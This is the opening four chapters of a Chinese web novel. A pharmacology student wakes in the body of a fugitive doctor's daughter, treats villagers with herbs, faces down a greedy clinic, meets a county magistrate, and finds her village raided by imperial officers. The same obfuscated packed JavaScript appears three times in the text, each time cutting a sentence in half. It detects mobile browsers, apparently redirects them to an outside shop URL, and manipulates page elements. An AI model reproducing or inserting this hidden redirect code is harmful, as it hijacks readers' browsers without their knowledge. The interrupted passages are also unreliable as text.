《我凭药草送暴君上路》 1. 第 1 章 窗外的鸟叫声不绝于耳,白羽歆渐渐恢复意识,感官也变得更加清晰。 头好痛,像是被刀子乱搅一通一样,全身上下更是彻骨之痛…… 白羽歆猛地睁开眼睛,迎面却看到一个圆头圆脑的小姑娘趴在她身前,好奇地打量她。 白羽歆一惊,险些叫出声,但小姑娘率先开口:“娘!她醒了!那个大姐姐醒了!” 小姑娘兴奋地喊叫着,冲出房门去。 待她走后,白羽歆才看清室内的布局。 房间很小,窗户是一个小小的方洞,上面糊着一层窗户纸,有些发黄。窗户纸上破了洞,光线就是从那里透过来的。 墙是普通的泥坯墙,墙面粗糙不平,有的地方已经斑驳脱落。角落里堆放着几个口袋,白羽歆猜测可能是粮食。 这情形让她想起来农村的奶奶家,心里顿时腾生出熟悉的安心感。可是她怎么会在别人家,难道是出什么事了? 她又惊讶又着急,掀开被子要下床,脑袋却再次猛然传来疼痛。白羽歆痛苦地捂住头,记忆潮水般涌了进来。 白羽歆不在自己的时代,这里是晟国。她也不在自己的身体里,而是穿到了和她同名的医学世家之女白羽歆身上。 晟国的皇帝名为宴崇,沉溺酒色,奢淫无度,百姓怨声载道,朝中老臣更是敢怒不敢言。 有位老臣,曾是先帝的左膀右臂,因看不惯这位皇帝的胡作非为,进谏了几句,就被处以极刑,尸首在城门上悬挂足足七天。此事一出,再中正清廉的大臣也不敢说些什么了,朝中风气可想而知。 这具身体的主人前日还欢欢喜喜地参加自己的生辰宴,后一日就被抄家。爹娘为了给她争取一条生路拖延时间,连同家眷一起尽数死于官兵刀下。 原主一路从洛川跑到景州,喝路边的溪水,吃山间的野果,父母临死前“好好活着”的嘱托支撑她一路走到这里,哪怕鞋子磨破了也不敢停歇。 她一路跑到山上,看到远处的火光,夕阳下袅袅升起的炊烟,还有隐约传来的狗吠声。 那里有村子! 有村子就有人,只要到了村子,总会有救吧…… 她多想走过去,可因为体力不支,身体不受控制地倒下去。 膝盖处传来疼痛,她想,一定是摔破了。她尝试起身,起不来,身体沉得仿佛有千斤重。她用手撑着地面向前爬行,指尖渗出血。 眼皮越来越沉重,不知是不是幻觉,她甚至能听见对面村落里孩童唱着歌谣。 疼痛感渐渐消失,身体忽然变轻,远处的歌谣声越来越模糊,温暖的火光在她眼中熄灭。 失去意识前的最后一秒,她只想着,如果有机会,一定要将那残暴无度的皇帝连同狗仗人势的官兵一同斩于刀下。 紧接着,白羽歆的灵魂便被粗暴地塞进这具没有意识的身体里。 幸好第二天上山砍柴的农夫看到白羽歆,救了她一命。白羽歆一连生了好几天的病,还要多亏了那个小姑娘还有她母亲的照顾。 正想着,脚步声由远及近,刚刚的小姑娘蹦蹦跳跳走了进来,后面还跟着一位衣着虽朴实陈旧却落落大方的妇人。 虽然家境不好,但小女孩和妇人都干净整洁,妇人更是将头发梳的一丝不苟。想到这些天她们衣不解带的照顾,真是碰到好人家了。 “多谢各位的救命之恩,我……小女简直无以为报。”刚穿越过来,白羽歆还不太懂得怎么自称,羞赧得脸都爬上红色。 妇人闻言笑了笑:“哪有见死不救的道理,还没问姑娘家住何处,改日等身体养好了,好送姑娘回家。” 回家? 脑袋又传来一阵剧痛,前世的记忆闪回,白羽歆猛然想起穿越前的事情,忽然明白自己为什么穿越了。 那天她和父母因为一些事大吵一架,收拾行李转身就走,结果刚上车不久就遭遇车祸,天旋地转间就来到了这里。 全想起来了。怪不得她刚醒来就觉得浑身上下没有一处不疼的。 她就这么离开了,也不知道爸爸妈妈会不会伤心。想到这里,白羽歆不由得伤感起来。 原主家住洛川,所以白羽歆说道:“小女名叫白羽歆,洛川有灾,逃难而来。” 联想到那个回不去的家,鼻头涌上一阵酸楚,白羽歆眼眸低垂,轻声说道:“不过,我也不知道该去哪里。因为,我好像……已经没有家了。” 妇人连同那女孩皆是一愣。 真是的,怎么就没发现呢。看她那衣着打扮,定是富裕人家的小姐。听说洛川有难,官兵肆意横行,有不少人家都四散逃难去了,这姑娘多半就是逃难过来的,自己却不小心揭了人家伤口。 妇人上前拉住白羽歆的手,语气情真意切:“白姑娘,如果不嫌弃的话,以后就和我们一起生活吧。” “哪里,你们救了我的命,这么大的恩情无以为报。只是我一个外乡人,就怕留在这里拖累你们,等过几天我自行离开好了。” “什么拖累不拖累的,倒在我家门口就是缘分,谁看见了能不管?先把身子骨养好,别的以后再说,不急这一会儿。”妇人的语气不容拒绝,白羽歆眼含泪光点点头。 小女孩这时也扑上来抱住白羽歆的腰:“我很喜欢姐姐,姐姐留下来吧。” 白羽歆摸了摸她的头。 既然要留下来,总得做些什么。妇人准备晚饭,白羽歆帮忙打下手,她的厨艺不好,所以就做些洗菜切菜的活。 在交谈中,白羽歆得知小姑娘名叫柳翠,她出生在夏天,正是翠柳如茵的时节。 柳翠正托着腮盯着被切得粗细不一的黄瓜条,叹了口气,将白羽歆赶到房间里。 “晚饭就快好了,姐姐还是安心等着吧。” 白羽歆不好意思地笑了笑,她前世做得一手黑暗料理,没想到在这种时候帮了倒忙。 不多时,一个男人走进屋子,柳翠扑过去:“爹,你捡回来的姐姐醒了!” 白羽歆见状,走上前去,按照原主的记忆行了个大礼。皮肤黝黑的男人见状连忙说道:“哎呦,使不得,快起来。” “多谢各位的出手相助,小女不知如何报答为好。” “说什么报不报答的,十里八乡的,总不能见死不救。”男人说话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596110|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气和妇人如出一辙,白羽歆听了更加不好意思,总想着要为这家人做什么,但又不知道自己擅长什么。 柳翠风卷残云地吃完饭,脆生生地说:“我吃饱了。”就出门玩去了。 妇人语气无奈:“这孩子,成天手脚闲不住,也不知道随谁。要是让她安静坐上一会儿啊,能要她的命。” 白羽歆笑着劝慰道:“活泼好动说明她天资聪慧,以后一定大有作为。” 听了这句话,妇人叹了口气:“这乱世,我们活不活得下去都不知道呢。” 她眼中带着几分忧愁,听说官府的兵一路搜刮民脂民膏,所到之处怨声载道。他们一家尚且勉强糊口,可若是被强征粮食,这日子该如何过活。 气氛陷入了沉默,白羽歆不知道该如何安慰别人。事实上,她从醒来到现在还不过两个时辰,脑袋还有些昏昏沉沉。 这时,院子里传来柳翠的一声尖叫。 白羽歆心头一紧,和柳翠的父母一同冲出门外。 “娘,我的手好痛。”柳翠的一张小脸皱起来,举起被栅栏上木刺划伤的手,眼睛里带着泪花。 柳翠的手背划出长长的一道血痕,对于一个小朋友来说称得上触目惊心了。 见柳翠没事,几个大人都是哭笑不得的表情。 妇人进里屋找干净的布条给柳翠包扎,白羽歆摸摸柳翠的头安慰她。 就在这时,白羽歆余光一瞥,目光落在院子里的一株杂草上。 那是一小簇五片叶子组成的植物,形状像张开的五掌。 白羽歆穿越前所学的专业是中药学,课余也喜欢研究一些草药,因此一眼就认出这是五爪草。 五爪草有止血、避免感染的作用,且不易留疤,或许可以帮助柳翠快点养好伤口。 白羽歆将想法告诉柳翠的父母,两人皆是惊讶,没想到救回来的姑娘还识得草药。他们都是粗人,不识百草,连这等奇药在院落里都不曾察觉。 不过也是,那姑娘称自己来自洛川。洛川神草众多,景州的草药比起来不过是九牛一毛,她识得草药也很正常。 他们将信将疑地找来工具,协助白羽歆把五爪草捣烂。 将捣烂的一团物体敷在柳翠的伤口上,白羽歆松了一口气。 “这种草我们这里有很多呢!” 听柳翠这么一说,白羽歆眼前一亮:“在哪里,在哪里?我想去看看!” “山里多的是,姐姐想去的话,我给姐姐带路。”柳翠平日里最爱喜欢上山玩,可是爹娘总不同意她上山,说山上危险,小心野兽把她吃掉。如今有了正当理由,总能去山上玩了吧。 “可是你的伤还没好……”白羽歆迟疑了一下,犹豫自己是否太心急了。 “这丫头闲不住,白姑娘不嫌弃的话就带她上山去玩玩吧。”妇人不指望这一大一小两个丫头找什么草药,但能释放一下柳翠那无处发泄的精力也是好的。 “怎么会,还要多谢小翠带路呢。”白羽歆捏捏柳翠的圆脸,笑着说道。 第二天,上山见到种类繁多的药草后,她终于明白自己该做些什么了。 2. 第 2 章 上午的集市热闹非凡,沿街传来摊贩的叫卖声。在他们中间不知何时支了一个药棚,药草捣得软烂,散发着清香。 一个身穿粉衣的女子坐在凳子上,给摔伤手臂的小孩敷药。 “好了。”白羽歆笑了笑,“真坚强,伤成这样都没哭。” 小孩从怀里掏出一包点心:“姐姐,我没有钱,这个给你。”说完,似乎有点局促,小孩捏紧了衣角。 白羽歆微微一愣,推辞了一下,小孩坚持送给她。白羽歆不愿让孩子不自在,只好收下了点心。 对着孩子友善地笑了笑,她轻声道:“谢谢,我很喜欢。”小孩这才离开了。 前几天和柳翠上山采药,白羽歆发现此地药草众多,简直让人眼花缭乱。她当即采了一箩筐,收获满满地回去了。 柳父柳母建议白羽歆上市集摆摊,当地的医馆不治小病,去一趟恨不得把家底掏空,穷人治不起病,只能硬挨着。 白羽歆对自己的医术没自信,只敢治一些跌打损伤。她也不知道收多少钱,只说随缘给就好,行医几天,倒也挣得一些铜钱。 白羽歆将挣来的钱交给柳母,柳母推脱:“这钱是白姑娘挣的,我们不能要。”白羽歆坚持要她收下,毕竟他们救了她的命。对方推脱不了,只好收下。 可过几天,白羽歆就收到一件衣服。原来柳母用钱买了布,连夜给白羽歆做了一件衣服。 白羽歆感动之余,暗下决心要挣很多钱,回报他们。 柳翠把分拣出来的药草拿过来,这些天白羽歆行医,柳翠就打下手。小姑娘成长了不少,分辨药草也得心应手。 这时,一个身影不合时宜地笼罩了小药棚。一个男人明显带着火气,将他粗壮的左臂砸在白羽歆面前的木桌上。 “你这庸医卖的什么狗皮膏药,老子前几天在你这儿包的伤口,你说七日就愈合如初,这都三天了。老子今早打开一看,肿得跟个大馒头一样!没有本事就别出去骗人,就是个骗钱的货色!” 周围瞬间安静下来,来来往往的目光都不加掩饰地打量着她。 “你血口喷人,我家姑娘又不是为了敛财才行医的,怎么会做这种坑蒙拐骗之事。”柳翠站出来,挡在白羽歆身前。 男人听了大笑起来:“不求财支什么药棚啊,当我好忽悠吗?” 这话引得人群嬉笑起来,间或夹杂几句嘲讽。 柳翠有些恼火,还想再说什么,白羽歆一把拉住她。 “小翠,你去把药草整理一下。” “可是——” “快去。” 柳翠有些担心,一步三回头。眼见柳翠离开,白羽歆回过头,神情微怒:“你擅自把包好的伤口拆开了?” 那男人火气瞬间熄灭,还带着点心虚:“我就看一下,谁知道……”他瞬间又换了一副神色:“谁知道你葫芦里卖的什么药,你心里没鬼怎么不让看!” 白羽歆深呼吸了一下,感到头疼。 “我记得我再三叮嘱过要包足七日,期间切忌妄动,更不能擅自打开。你自己打开,却将缘由归结于我?” 那男人目光闪烁,身上的气焰一下子熄灭了。 还不等他反驳,白羽歆上手摁住胳膊仔细观察。这伤口边缘红肿,像小山包一样隆起,里面估计积攒了不少脓液。 白羽歆皱起秀气的眉头:“你这几日没有精心养护,伤口定是碰了脏东西,又用水洗过,这才引发炎症。原本只是小伤,却恶化成这样,这下我也说不好会怎么样了。不过,就算是医馆里的郎中看了,估计都得直摇头。” 听了白羽歆颇为专业的话语,围观的人们窃窃私语起来,那男人脸上的神色好不精彩。他畏畏缩缩地开口:“神医,求求你,还有没有补救的方法。我有钱,你帮帮我吧。” “我医术有限,您另请高明吧。” 男人哭叫起来,捂着胳膊四处询问路人哪里有医馆,周围人避之不及,看望白羽歆的眼神却多了几分倾佩。 不知是不是那天的风波不胫而走,此后白羽歆的药棚前人多了好几倍,白羽歆常常忙得连喝口水的时间都没有。 经过这几日的锻炼,柳翠包扎药品的手速都快了不少。她将最后一位病人的药包扎好,熟练地叮嘱对方换药次数,然后擦了擦额角的汗。 “羽歆姐,今天居然赚了这么多钱。”黄澄澄的铜钱在夕阳下闪着光,柳翠将放钱的筐子拿给她看。 白羽歆笑了笑,两人收拾东西回村。 不料,还没走到村口,迎面就碰到十几个村民。看到白羽歆和柳翠回来了,人群一窝蜂地涌了上来。 白羽歆心里“咯噔”一声。 不好,不会是出什么事了吧。 她在人群里找到柳翠的母亲:“张婶,出什么事了吗?” 张婶拉过来一个女人,女人抱着个孩子,眼泪汪汪地看着白羽歆。 “白姑娘,他们都说你是神医,能不能救救我家娃。” “您先别激动,孩子怎么了?” “我家狗娃上午还好好的,中午我做完活回来,就发现他浑身发烫,我叫他也不应。刚才……他刚才突然眼珠往上翻,手脚也绷得直。我以为是中邪,找村头王婆驱邪,但是一点用也没有啊!白姑娘,求求你了,一定要救救我家狗娃!” “您别慌,我们先回屋。”女人抹了把眼泪,给白羽歆带路。 “看起来就是个小姑娘,能治好吗?” “你说咋办,天都黑了。” “黑心医馆去一趟不得倾家荡产?” 张婶担心村民的议论声被白羽歆听见,往外赶人:“去去去,各回各家得了,一天碎嘴子干什么。” 有的人不服气,又在张婶的瞪视下悻悻离开。 白羽歆让女人带着孩子回屋,然后把孩子放平,解开衣服,用温水给孩子擦拭身子进行物理降温。随即,她找出具有清热、镇定效果的药草,让女人给孩子煎服。 女人听了嘱咐连忙烧水,张婶也上前帮忙。 白羽歆安慰道:“别怕,不是什么大病,虽然看起来吓人,但只要按时服药就能治好。” “但是——”白羽歆语气一转,表情严肃起来,“不要封建迷信,生病了就要看郎中,找神婆只会耽误病情。” 随即她又自嘲地笑了笑,她居然在古代说不要封建迷信? 女人听了前一句放下心来,没细想白羽歆的后一句,只是将煎好的汤药吹凉了喂给孩子。 过了不到一个时辰,孩子的体温就渐渐降了下来。他安稳地睡着,众人终于放下心来。 女人千恩万谢,拿了自己家的菜要塞给白羽歆。白羽歆连忙推脱,她知道这些菜对于这个年代的农户意味着什么,所以说什么也不收。 “拿着吧,白姑娘。多亏您救了我家狗娃的命,要是狗娃有个三长两短,我这个当娘的也不活了!” 白羽歆拿着被硬塞进手里的一篮子蔬菜,跟着柳翠和张婶离开了这对母子家。 一路上,不断有村民问张婶: “他婶子,怎么样啊,狗娃还好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596111|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好的很!白姑娘不愧是洛川来的神医,看一眼就知道她家狗娃得的什么病,药到病除!” “张婶说狗娃被那个洛川来的女神医治好了!” “不愧是神医,本领真大啊。” 村民们看白羽歆的眼神大不相同了。从前他们只认为她是从别的地方逃难来的小姑娘,学的医术也就是个花架子。没想到这次她露了一手,还真把这疑难杂症给解决了! 短短一个傍晚,白羽歆就从“外边来的小姑娘”摇身一变,成为“药到病除的神医”。 晚饭时,张婶对着白羽歆感叹:“白姑娘真是我们村的福星啊。” “哪里哪里,我也不过是恰好学了点知识,这就用上了,没有他们说的那么夸张。”白羽歆对于自己的水平还是有自知之明的,她现在还不敢以医生自居。 “客气什么!先前还有人不服气,见了白姑娘的医术,现在还不是得服服帖帖的。” — 自白羽歆出现在当地的集市上到现在已经过了七、八天,大街小巷,茶馆酒楼总能听人提起那横空出世的女子。 “哎,你听说了没,最近集市上有个姑娘,医术了得,还让随缘给钱。” “我表舅的腹泻就是她治好的,开了方子回去吃就好了,比医馆的药还管用!” “我看啊,这姑娘怕不是药王娘娘转世,看我们百姓太苦,专门悬壶济世来了。” “哎呦,我看也像……” 角落里,永安堂的伙计越听脸色越白,偷偷溜回去报信。 听了伙计栩栩如生的讲述,里面的大夫笑了:“不过是一介女子,侥幸懂得几个偏方,就想取代我们几百年的永安堂了?” “是啊,反正去找那女子看病的,也不像能进得起正经医馆的。收了几个穷人的恩情,有什么好得意的。” “可是……”那伙计表情不是很好看,他看了一眼主座上的掌柜,对方说了句“但说无妨”,他才敢接着说。 “可是我听见有人说之前去过咱们永安堂的病人,抓了几次药也不见好,去找那女子看一次就好了。怀疑咱们的药缺斤少两,要报给知县呢!” 掌柜眉毛都气得要竖起来:“你说什么?” 这时候,另一个跑腿伙计匆匆跑过来:“不好了掌柜,上面通知说知县大人要私下巡查,尤其要查医馆开药是否缺斤少两!” 该死,自从那医女出现在集市上,永安堂风评一夜之间变差了不说,还遇上这档子事。平时有大人物罩着,永安堂从来都在景州横着走,谁知道…… 掌柜把手里的茶杯摔到地上。 “你们想办法解决这件事,我就不信这么多人,还收拾不了一个哗众取宠的庸医了。” 伙计们战战兢兢领命:“是!” 第二天一大早,白羽歆带着柳翠背着两大箩筐药草走进集市。 药草都是前一天采摘的,根据品种不同分类装好,再拿到集市上行医用。 谁知道刚支起小摊,就有一伙人风风火火找上门来。白羽歆定睛一看,前些日子来找过茬的男人赫然在列。 一行人怒目圆瞪,面色不善。 “小姑娘,你这摊子占了我们的位置了。”为首的人不怀好意笑着,看的白羽歆直皱眉头。 “我之前打听过,这摊子的位置没人用,你们莫不是来敲诈摊位费的?”白羽歆目光冰冷扫视他们,心中总有一种不详的预感。 果然,只听他们大笑起来,其中一人说道:“这一片都是我们的地盘,谁允许你擅自占用的?” 3. 第 3 章 对面的人群里走出一个老者,山羊胡须,看起来十分精明。他笑吟吟道:“这位姑娘,听说你在此处行医,最近颇有名气啊。” 前几天来过的男人立即高声说道:“前几日我来找这个庸医看病,结果胳膊整个都烂了,还要多亏了永安堂的大夫给治好的!大家伙可别被她给骗了!” 白羽歆看见那男人胳膊上分明缠着布条,看起来行动还不怎么利落。看来这胳膊经过感染难以治愈,就连永安堂的大夫都无济于事,只得草草地包扎起来,自欺欺人。 围观的人群嘴里发出窃窃私语,像一只只苍蝇,听得人心烦。 “我早就说过,我能力有限,劝阁下另寻高明。”白羽歆淡淡地开口。 她不动声色地扫视那群人,除了那个老者,剩下的估计都是永安堂的跑腿伙计,不懂医术。医馆派了这么一群人,想必不是为了讨论医学常识。 白羽歆将目光定格在老者脸上。 “永安堂治好了他?真是功德无量。只是不知道能否让小女看看这伤口如何,是否恢复如初,好让我也见识一下永安堂大夫的神仙医术。” 那男人下意识把胳膊藏在身后,似乎是牵扯到了伤口,表情扭曲了一瞬。“有什么好看的,老子说好了就是好了,你个骗钱的庸医怎么能跟永安堂的坐堂大夫比!” 老者适时地插话进来:“医术交流改日再说吧,我们今日是来通知你,必须立即停止行医,离开这里。” 白羽歆气极反笑,质问他:“凭什么?” “这一片区域,乃至十里八乡,谁不知道我们永安堂。你在此地摆摊,坏了规矩。” 白羽歆在支药棚前就问过乡里乡亲,此地来去自由,而她摆摊的地方是没有人的。当初刚行医时无人问津,现在初有起色,却劝她离开,哪来的道理? 她浅浅笑了笑,笑意却不达眼底:“规矩?我来到这里,还是第一次听说有这种规矩。那我确实要请教一下,这规矩是律法白纸黑字写着的,还是你们永安堂自己定的?” 老者脸色一沉,其他伙计摩拳擦掌,似乎将要动手。他摆摆手,示意其他人收敛动作。。 “姑娘,你擅自治病开药,若是吃坏了人,如何担待得起。老夫劝你还是不要乱害人,早早收了心吧。” “就是就是!老子的胳膊就是因为她坏了!”男人趁机大声嚷嚷起来。 白羽歆提高声音:“你们空口白牙,就能确定我是庸医?当日不少父老乡亲都亲眼见过,这个人的胳膊是因为自己擅自拆开包扎,才酿成大祸。我之前明明嘱咐他要包足整七日,他伤口不仅沾染污秽还碰了水,不足三天就拆了包扎。当时嫁祸给我不成,今日还想抵赖。” 她转过头,问男人:“我且问你,你这胳膊真的被永安堂彻底根治了吗?” 当众揭穿,男人说不出来话,脸上羞愧之情清晰可见。年老的男人见势不妙,厉声喝道:“住口!休要在此胡搅蛮缠。总之,这地方不容你再摆摊!” 白羽歆毫不退缩,上前一步,厉声问道:“你们口口声声说我是庸医害人,可我随缘问诊,从未因为诊金不足就拒绝看病。反倒是你们,治个伤口想必收了不少药费吧。你们究竟是气我庸医误人,还是恨我诊金随缘,阻碍你们的财路。” 之前给一位病人包扎时,对方告诉她,之前去永安堂,结果一个伤口红肿就要花上30铜钱。他哪里去的起这种医馆,抱着试试看的心理去找白羽歆诊治,结果三两下就包扎好了。 白羽歆环视四周惊愕的路人,一字一句道:“我看,不是我是庸医,而是有人啊——技、不、如、人!” 她顿了顿,很满意地欣赏了一下对面一圈人难看的表情,接着说起来。 “更可笑的是,自己失去了客人,不想着精益求精,反而跑过来欺压我,你们永安堂不是恼羞成怒是什么?” 大约是被愤怒冲昏头脑,老者再也无法维持原先彬彬有礼的模样:“牙尖嘴利的贱人,我让你胡说八道!” “哗啦——” 只听重物倒地的声音,临时搭建的药棚应声倒地。药草、瓶瓶罐罐、负责研磨的工具散落一地。人群发出惊呼,纷纷向后退去。 眼见自己好不容易采摘的药草被毁坏,白羽歆的指甲掐进手心里。柳翠从倒落在地的棚子里钻出来,同样十分愤怒。 “羽歆姐,他们实在欺人太甚!” 白羽歆也没想到对方找茬被她驳回去就恼羞成怒,她又生气又难过,想着心血被毁,一时眼圈红了。 “住手!” 一个清冷却不失威严的声音从人群中响起,如同冬天凌冽的水。虽然声音不高,却让嘈杂瞬间归于平静。人群自动分开,给那个男人让出一条路。 那男人看起来很年轻,身形颀长,面容俊朗,眉宇间自带一种不怒自威的沉静气质。他看起来与这纷乱的集市格格不入,不知道是哪个高门大户的公子。 男子的目光扫过满目狼藉,最后目光停在刚刚推翻药棚的一伙人身上,声音平静但莫名让人感到一阵寒意:“光天化日之下,当众毁人财物,欺负一位女子,你们把王法置于何地?” 对面难事的人正在气头上,见对方衣着华贵,只当是哪家还管闲事的公子哥,气急败坏地骂道:“你算个什么东西,也敢管我们永安堂的闲事,还不赶紧滚开。” 男子并未动怒,反而循序善诱道:“永安堂的事为何管不得?” “呵,你可知我们永安堂名震景州,这方圆百里,谁不知我们永安堂的名号?可这庸医却在我们的地盘上行医,岂有这样的道理?” 男人很轻地笑了一下:“也就是说,永安堂为了一家独大,一直以来打压其他医者是吗?” “这闲事不是你能管的,再不走连你一块打!”对面的人怒不可遏,抄起家伙就要动手。 “姐姐小心!”眼见对面的人逼近,柳翠护住白羽歆,闭上了眼。 意料中的打斗没有发生。 一位护卫打扮的人快步上前,声如洪钟,厉声道:“放肆!你们可知本县知县厉玦在此,谁敢造次!” “知县大人?” 这几个字如同雷声,在所有人耳边炸响。 只听“扑通”一声,山羊胡须的老者、面色不善的永安堂伙计们、连同前几日提前拆开包扎导致伤口发炎的男人,尽数面无血色,双腿一软,竟然齐刷刷跪倒在地,浑身颤抖。 白羽歆和柳翠犹豫要不要跪,却见围观群众因为没见过这么大的官,吓得纷纷跪下一大片。 白羽歆正要跪时,厉玦却说道:“不必行礼,都起来吧。” 现场一片寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596112|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,都等着厉玦发话。 厉玦不再看地上的人,转而看向散落一地的药材,摇摇头,暗道可惜。药草是珍贵之物,就这么被糟蹋了,他倒是不知永安堂在他看不见的角落居然如此肆意妄为。他在白羽歆那张写着惊讶的脸上停留一瞬,带着些许不可察觉的探究。 老者抖如糠筛,偏偏厉玦笑道:“李大夫,常听你们永安堂掌柜提起你,说你医术高明,医者仁心。如今看来,还颇有为永安堂考虑的心思啊。就是不知你们掌柜的听了今天这一出,还能不能平心静气了。” 李大夫大惊,早就听说知县要多地寻访,却不知对方竟低调至此。今天的丑态被他尽收眼底,要是牵连永安堂的话,他自己也别想好过了。 李大夫直挺挺跪了下去:“知县大人!老夫错了,老夫不该做此等糊涂事啊!您大人有大量,就饶了我们这一次吧!老夫再也不敢了!大人!大人——” 侍卫“啧”了一声,似乎很不想听到他的求饶声:“老实点!” 一伙人被随行的侍卫捆绑起来带走,一直到他们走出去很远,还能听到“饶了我们”、“再也不敢了”这样的字眼。 “两位姑娘受惊了,发生这种事是本官的疏忽,本官向二位赔罪。” 早就听闻这里官商勾结,官员用势力给手下商铺带来好处不是新鲜事。那男人和永安堂的人看起来又分外熟悉…… 白羽歆警惕了几分,后退两步,牵起唇角笑了笑:“知县大人客气了,既然没什么事,我们可以离开了吗?” 药棚被掀翻,之前辛苦采摘的药也散落一地,脏得只能丢掉。白羽歆心里觉得可惜,又有几分气愤。这摊子是摆不上了,看来她只能带着柳翠回家。 “当然。”厉玦点点头,“只是我很好奇,姑娘不像本地人,为何突然出现在景州,还选择在集市上行医?” 之前从未听说过景州有这样精通医术的人,突然声名鹊起,定有蹊跷。 白羽歆心里一惊,这都让他看出来了。 他是在试探她吗? 通关文契不能作假,与其说谎被拆穿,不如实话实说,这位知县与他乡凶神恶煞的官员不同,看起来好说话一点。 “回大人,小女家住洛川,不幸遭了灾,和父母一同来景州投奔亲戚,不料半途走散了。小女运气比较好,找到了叔婶家,这才安定下来。” 见厉玦不但没有起疑,眼中反而流露出同情,白羽歆心中有了底,随即放松下来。 “洛川山中神草众多,小女耳濡目染,正好识得一些药草的妙用。想着行医挣些盘缠,好回去寻找父母。” “原来如此,”厉玦的语气格外和善,“姑娘不必担心,今日损坏的物品,本官会让他们照价赔偿,定会给姑娘一个公道。” 白羽歆行了个礼:“那就谢过大人了。” “天色渐晚,姑娘快回去吧,路上记得小心。” 待白羽歆和柳翠走远后,刚才的下属走过来询问。 “属下不知,为何那姑娘说来自洛川,大人就放她走了?” “你可知洛川的别名叫什么吗?” 下属思考了片刻,也想不出个所以然来。 “属下愚钝,不知。请大人解答。” “洛川的别名叫作——” “药谷。” 4. 第 4 章 这几日白羽歆没去集市,她将被弄坏的棚子修缮了一下,又用柳翠找来的材料加固,这下不用担心棚子被轻易折断了。 “总不出摊也不是办法,羽歆姐,我们什么时候再去集市啊?”柳翠这几天闲不住,把院落大扫除了一遍。再待在家里,她都要郁闷了。 白羽歆笑了笑:“明天就去。” 她也觉得有些无聊,但也不能就这么待着,肯定有因为拿不出诊金的人等着她呢。 既然决定要去行医,总要继续采摘药草,之前摘的那些要么损坏了,要么不新鲜了。 白羽歆招呼柳翠:“我们再上山一趟吧。” 柳翠也说好,吃过午饭就带着背篓准备出发。 出门时正好碰见柳翠的父母回家,白羽歆打了个招呼:“叔叔婶婶回来了?我和小翠正好要出门。” 张婶见状询问:“大中午的出门干什么?那么热,还是等下午凉快一点再出门吧。” 柳翠蹦蹦跳跳走过来:“山里不热的!娘,就让我和羽歆姐姐去吧。” 张婶无奈妥协:“好吧,记得早点回来。” 白羽歆点头,带着柳翠上了山。 白羽歆和柳翠走后没多久,房门忽然被敲响,张婶想着可能她们忘带了什么东西,就要去开门。 “砰砰砰!” 见屋里人没动静,敲门声越来越激烈,柳翠父亲不知发生了什么,喊道:“来了,马上开门!” 然而还没等到他们开门,房门就被大力破开。柳翠父母这才看清,屋外敲门如催命的哪里是白羽歆或者柳翠。 身穿暗红色衣服、腰间戴佩刀的人排成两列,中间的人眉宇间满是戾气,居高临下地俯视屋里的两人。 “我们皇城司奉命,前来收缴每年的‘忠君捐’。” — 这次除了常用的包扎外伤、清热解暑的药草以外,白羽歆还发现许多拥有其他功效的药草。她想,正好来找她的病人越来越多了,丰富一下医药箱也是好的。 例如生长在山地,开紫色小花的药草,白羽歆认出那是具有润肺下气、化痰止咳的紫菀。如果有来治疗咳嗽的病人,可以用它和梨一起炖煮。 白羽歆又想到,农民经常下田干活,风寒和风湿麻痹是常见病。她又寻了一些祛风湿、通经络的药草,想着拿回去给柳翠的父母,还有其他村民用,也算是报答他们的收留之情。 这次又挖了满满两大箩筐的药草,白羽歆和柳翠满载而归。然而走到半路上,柳翠忽然“哎呀”一声,随即捂着胸口,表情很痛苦地倒在了地上。 “小翠!你怎么了,还好吗?” 柳翠被白羽歆搀扶着坐起来,表情看上去不怎么好受。她擦了擦额角的汗,然后露出一个苍白的笑:“我还好,只是……我刚刚有种不详的预感。” 柳翠忽然六神无主地揪住白羽歆的衣袖,急匆匆说道:“姐姐,我总觉得阿爹阿娘出事了,我们……我们快点回去吧!” 见柳翠这副样子,白羽歆的心也揪了起来。她一边搀扶柳翠,一边拿起柳翠的箩筐,两人步伐飞快地往村子的方向跑。 快到村子时,白羽歆忽然听到很嘈杂的声音:男人的怒骂声、女人的呼喊声,还有小孩子惊恐的哭声。 柳翠还要往前走,白羽歆一把拉住她,然后示意她安静。她们躲在一处隐蔽又方便观察村子的地方,这里地势高,能将村落尽收眼底。 一群身穿暗红色衣服的男人几乎占领了村落,像纷飞的火。村民们被五花大绑,跪在地上。最前方有几个身强力壮的男村民跪成一排,前面红衣服的人将佩刀从刀鞘里拿出来,不断比量着村民的脖颈。 